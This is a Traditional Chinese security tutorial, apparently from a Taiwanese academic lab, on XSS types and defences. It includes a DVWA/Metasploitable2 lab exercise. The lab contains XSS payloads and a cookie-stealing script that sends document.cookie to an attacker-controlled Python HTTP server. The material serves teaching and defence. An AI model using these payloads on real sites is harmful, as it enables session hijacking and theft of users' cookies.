跨網站指令碼(XSS)是一種利用網站應用程式漏洞,將惡意腳本注入網頁的攻擊手法,本文將以「XSS攻擊」為主軸,帶領大家了解這種攻擊的運作機制與潛在風險,並透過DVWA進行練習,示範以Python建立一個HTTP Server來模擬竊取Cookie的實作。
隨著網際網路的應用不斷擴展和深化,大家在數位化的浪潮中得到了極大的便利,然而便利的背後也隱藏著巨大的風險。在這些潛在的威脅中,跨網站指令碼(Cross-Site Scripting,XSS)是應用層面安全中最常見且危險的攻擊手段之一。攻擊者可以利用XSS漏洞,將惡意腳本注入受害者的瀏覽器,從而竊取Cookies、會話資訊,甚至冒用使用者的身分進行未經授權的操作。
儘管企業在資料加密、身分驗證等層面已經投入大量資源,但XSS攻擊的泛濫,讓大家意識到應用程式本身的安全設計和對輸入的嚴格驗證同樣關鍵。從社群媒體到金融系統,任何一個XSS漏洞都可能成為攻擊者竊取資訊或發動更大規模攻擊的入口,對系統和使用者造成不可估量的損失。
在本文中,將聚焦於XSS攻擊的原理與實際應用,並以實例解析的方式,展示攻擊者如何利用XSS漏洞竊取使用者的Cookies。
此外,將探討有效的防範對策,幫助開發者與資訊安全從業者提升應用程式的安全性,防止潛在威脅的發生。透過這篇文章,希望大家能夠對XSS攻擊有更深入的認識,並且能夠在日常開發與防禦工作中實踐相關安全措施。
背景知識說明
以下介紹什麼是跨網站指令碼(XSS),XSS攻擊有那些種類,以及如何防禦XSS攻擊。
關於跨網站指令碼
「跨網站指令碼(Cross-Site Scripting,XSS)」攻擊是藉由從客戶端注入攻擊腳本,來達到竊取Cookie、Session、密碼等敏感資訊的攻擊手法,當這些敏感資訊被惡意攻擊者知道後,攻擊者可以進一步進行身分盜用、洩漏資料或是竄改網頁內容等操作,造成公司企業或其他使用者的重大迫害和損失。
而之所以稱之為「Cross-Site Scripting」,是因為這種攻擊方式通常是由可信的來源發出,因而能避免同源政策(Same Origin Policy)的阻擋,進而實施攻擊。同源政策是指兩個網頁要符合協定(Protocol)相同、主機名(Host)相同、連接埠號(Port)相同才被認為是同源,雖然同源政策能有效阻擋許多的惡意攻擊,然而若攻擊者有意繞開同源政策的限制,使用者還是會被暴露於危險當中。
最常見的XSS攻擊是把JavaScript的腳本注入到輸入框中執行,以達成特定不法目的,因為JavaScript能在網頁上達成的事情非常廣泛,所以在正常的情況之下,不應該讓造訪網站的使用者任意修改、新增或執行網站上的JavaScript語法。
正是因為XSS攻擊這種注入處所廣泛且攻擊影響重大的特性,所以XSS攻擊一直是一種常見且危害重大攻擊手段,全球性非營利組織OWASP在一個以提高企業和開發者對網路應用程式安全問題的警覺為目的而發表的OWASP TOP 10中,XSS為2017年排名第七名的漏洞,而在2021年時Injection系列的攻擊則上升至第三名的位置,由此可見XSS這種攻擊手法不但造成的危害重大,也是一直存在且持續發生的攻擊手段。
儘管跨網站指令碼的存在已經歷史悠久,然而直到最近仍一直有其相關的安全事件發生,由此可知XSS的漏洞修補與防範是需要時刻注意且長期面對的課題,只有透過資安人員不懈的努力與網路使用者持續更新自己的資安意識,才能提高現今社會的資訊安全與保障。
XSS攻擊的種類
在對XSS有基礎的認識之後,接著介紹常見XSS攻擊的三種主要種類,並藉由實際的操作範例來對XSS有更進一步的了解。可利用XSS Game(https://XSS-game.appspot.com)來針對不同類型的攻擊手法進行練習,以更加了解XSS的攻擊原理。
反射型XSS是最常見的XSS攻擊類型,通常是將惡意的JavaScript程式碼藏於使用GET參數傳遞的網址中,當後端要取用GET參數時,惡意程式碼就會被執行。例如,在使用GET參數傳遞關鍵字且未做XSS防範的網站輸入框中輸入:
<script>alert(1);</script>
接著,便能在網址列呈現出該JavaScript程式碼被作為GET參數傳遞而執行,執行結果如圖1所示:
圖1 反射型XSS操作範例。
https://XSS-game.appspot.com/level1/ frame?query=
而這種反射型XSS要能成功進行攻擊,通常搭配著社交工程(Social Engineering)的釣魚技巧,使目標對象點擊網址,攻擊才會生效。一般來說攻擊者會使用短網址或HTML Encoder來偽裝反射型XSS產生的不尋常網址,以降低目標對象的戒心。
它會將惡意的JavaScript程式碼儲存在資料庫中,後續若使用者有存取到相關資料,就會執行該惡意程式碼。最常見的例子就是將JavaScript的程式碼注入到留言板上,當下一位使用者瀏覽網頁時,網頁就會載入留言板的JavaScript程式碼,並於使用者端執行,而致用戶受害。例如,在未做阻擋JavaScipt語法執行的留言板頁面,若使用者在輸入框輸入:
<script>alert(2)</script>
則此JavaScript的程式碼會被儲存於留言板的資料庫中,此後若有其他使用者瀏覽到該留言,就會因為網頁已預先載入了當下頁面的惡意程式碼,因此使用者頁面就會彈跳出顯示「2」的警告視窗。以相同的概念來說,若執行的程式碼並非使用alert()函數,而是使用一些在瀏覽器執行使用者不易察覺的操作,例如使用document.Cookie語法來取得Cookie,再將Cookie作為參數傳送到攻擊者的Server,如此一來,任何連上網站的使用者都會將Cookie在無聲無息之中傳遞給攻擊者。
DOM(Document Object Model)是用來描述HTML文件的表示方法,可以不透過伺服器而使用JavaScript來動態產生完整的網頁,更明確來說,就是把一份HTML文件中的各種標籤及文字、圖片等都定義成網頁物件,而形成一個樹狀結構。各個物件都有一個固定的HTML標籤格式,例如網頁中的一張圖片(圖2),呈現圖片的HTML標籤就是:
圖2 DOM範例圖片。
<img src="~/cat.jpg" alt="貓貓">
而DOM型的XSS攻擊,就是在JavaScript載入網頁時,直接在網頁中嵌入夾帶惡意程式碼的DOM物件進行攻擊。例如:
<img src="" onerror="alert(3)">
在標籤「img scr= “”」的使用方法中,正常應該提供一個圖片路徑或網址來裝飾瀏覽器的頁面,而onerror語法則是當無法正常載入圖片時,便會執行指定的JavaScript程式碼。因此,透過這種方式可以有效繞過那些沒有妥善過濾字串的驗證,進而達到注入程式碼的目的,執行結果如圖3所示。
圖3 DOM型XSS操作範例(以XSS-GAME網頁舉例)。
XSS攻擊的防禦方式
關於XSS攻擊的防禦方式,包括以下幾種。
輸入驗證(Input Validation)可對使用者輸入的資料進行嚴格把控,藉由限制使用者輸入資料的類型、長度和範圍,可以避免接受到不必要的資料。另外,建議使用強型別(Strongly Typed)和正規表示式(Regular Expression)來驗證使用者輸入的內容,以確保資料符合預期格式。
在電腦科學與程式設計中,經常會把程式語言的型別系統區分為強型別(Strongly Typed)或弱型別(Weakly/Loosely Typed)。強型別的語言遇到輸入內容與實際呼叫的類型不符合時,通常會直接報錯或者編譯失敗;而弱型別有允許不同資料類型間進行隱式轉換的特性,且對類型檢查的要求較為寬鬆,所以開發者可以更靈活地操作不同類型的資料,然而更加靈活多變,同時也意味者攻擊者可以藉此多加利用,所以弱型別在資安處理方面顯得較為薄弱。
而正規表示式(Regular Expression)是一個經常用來進行輸入驗證的方法。以Python為例,能夠以正規表達式的函式庫「re」來建立正規表示式的驗證,以及建立其對應的規則。舉例來說,若規定一個字串驗證必須以「Hello」作為字串中的起始內容,可透過以下程式碼來達成目的:
import re str1 = 'hello world' x = re.findall(r'^hello', str1) if x: print("Yes, the string starts with 'hello'") else: rint('No match')
其中re.findall(pattern, string),用於查找所有匹配的子串,並以列表的形式返回。r'^hello當中的符號「^」表示匹配字符串的開頭而此段程式碼的輸出結果為「Yes, the string starts with 'hello'」。
內容安全政策(Content-Security-Policy,CSP)可以限定只允許腳本從特定的來源下載,以限制惡意程式碼的執行。其運作原理是透過HTTP回應標頭(HTTP Response Header)或標籤,向瀏覽器說明資源載入的安全政策。例如:
default-src 'self'; script-src 'self' https:// trusted.com; style-src 'self' 'unsafe-inline';
其中default-src代表預設資源的允許來源,也就是後面的指定參數self;script-src代表允許的腳本來源;style-src則代表允許的樣式來源。也可以在HTML文件中加入以下標籤來達成同樣的效果:
<meta http-equiv="Content- Security-Policy" content="default- src 'self'; script-src 'self' https://trusted.com;">
最小權限原則(Principle of Least Privilege)將使用者、應用程式或系統的權限限制到執行其職責所需的最低限度,藉此降低潛在安全風險,譬如未授權的存取、資料洩露或惡意操作的可能。
情境模擬與實作演練
保羅與彼得是就讀某大學資工系的學生,在一次經典資安競技中,保羅與彼得要攜手架設一個安全的購物網站才能贏得比賽。為了測試網頁的安全性,保羅負責嘗試攻打他們架設的網站,而彼得負責修補漏洞,藉此網站才能做得更安全完善些。為了測試他們所架設的網站安全性,保羅首先要在他自己的電腦進行必要的環境準備,以下是他在自己電腦安裝的軟體與系統:
‧Virtual Box(Oracle VM VirtualBox)
‧Kali Linux(Get Kali | Kali Linux)
‧Metasploitable2(https://sourceforge.net/projects/metasploitable/)
為了方便讀者自行操作,同時避免攻擊到其他實際在運作的網站而觸犯《妨害電腦使用罪》,以下使用Metasploitable2來模擬彼得所架設的網站。
首先在虛擬機上啟動Metasploitable2(帳號密碼皆為msfadmin),接著使用ifconfig指令得知inet addr的網址是10.0.2.4,然後開啟Kali Linux(帳號密碼皆為kali)的Terminal,輸入「ping 10.0.2.4」,讓Kali Linux與Metasploitable2連線,操作步驟如圖4與圖5所示。
圖4 使用ifconfig指令查看本機IP。
圖5 使用ping指令確認Kali Linux與Metasploitable2是否連線。
與Metasploitable2建立連線後,開啟瀏覽器,輸入以ifconfig得知的inet addr連線,然後點選並登入DVWA(帳號admin、密碼password),把DVWA Security設定調為low(預設為high),然後就可以點選側邊欄的XSS reflected開始做模擬,操作步驟如圖6與圖7所示。
圖6 網址輸入Metasploitable2的IP並選擇DVWA。
圖7 調整DVWA Security設定。
首先,保羅測試網站是否存在XSS漏洞,於是輸入來查看是否彈出對話框,測試結果如圖8所示。
圖8 測試網站是否存在XSS漏洞。
保羅對彼得有針對XSS做初步的防範甚感欣慰,但保羅還想試試如果用或分解的script標籤,能否繞過彼得所設置的過濾機制,其執行結果如圖9所示。
圖9 成功繞過基礎XSS的過濾機制。
顯然彼得針對網站的防禦還不夠完善,接著保羅告知彼得他們架設的網站未做好XSS攻擊的防禦,然而彼得卻認為這是個無傷大雅的問題,於是保羅為了告知彼得這個漏洞的嚴重性,決定示範如何透過這個漏洞竊取網頁瀏覽者的Cookie。
保羅先打開kali的終端機輸入「python3 -m http.server --bind 8000」,以一個架設伺服器接收瀏覽者的Cookie,如圖10所示。其中,若欲知曉自己kali的IP可以用前面提及的ifconfig指令來取得。
圖10 架設一個Python HTTP伺服器來接收Cookie。
接著,編寫並輸入以下JavaScript程式碼來竊網頁瀏覽者的Cookie:
<SCRIPT>document.write('<img src="<http://<kali的 ip>:8000?Cookie='+document. Cookie+'>">');</SCRIPT>
由於網頁的輸入框是以GET參數取得資料,因此當輸入以上的程式碼後會跑出如圖11所示的結果,這裡的被用作攻擊載體,而非一般使用於加載圖片。
圖11 竊取到網頁瀏覽者的Cookie資訊。
接著保羅繼續述說,倘若得知網頁瀏覽者的Cookie,攻擊者可以進一步對被得知Cookie的網頁瀏覽者進行身分冒充、會話劫持、隱私洩露等等的行為。彼得終於意識到這個漏洞的嚴重性,於是保羅和彼得一起聯手把網頁修補得更安全,最後在經典資安競技中拿下最高成績,成功地為資安團隊贏得榮耀。
結語
資訊安全的防禦工作並非一蹴而就,而是需要持續的關注與實踐。每一個安全漏洞的背後,往往不僅是技術的挑戰,更是對防範意識與責任心的考驗。
本文提供一個清晰的視角,讓大家了解XSS攻擊的運作方式與防禦要點,進而在日常的開發與使用中採取更有效的措施,減少潛在的威脅。
<本文作者:社團法人台灣E化資安分析管理協會(ESAM, https://www.esam.io/)中央警察大學資訊密碼暨建構實驗室 & 情資安全與鑑識科學實驗室(ICCL and SECFORENSICS)1998年成立,目前由王旭正教授領軍,並致力於資訊安全、情資安全與鑑識科學,資料隱藏與資料快速搜尋之研究,以為人們於網際網路(Internet)世界探索的安全保障(https://hera.secforensics.org/)。>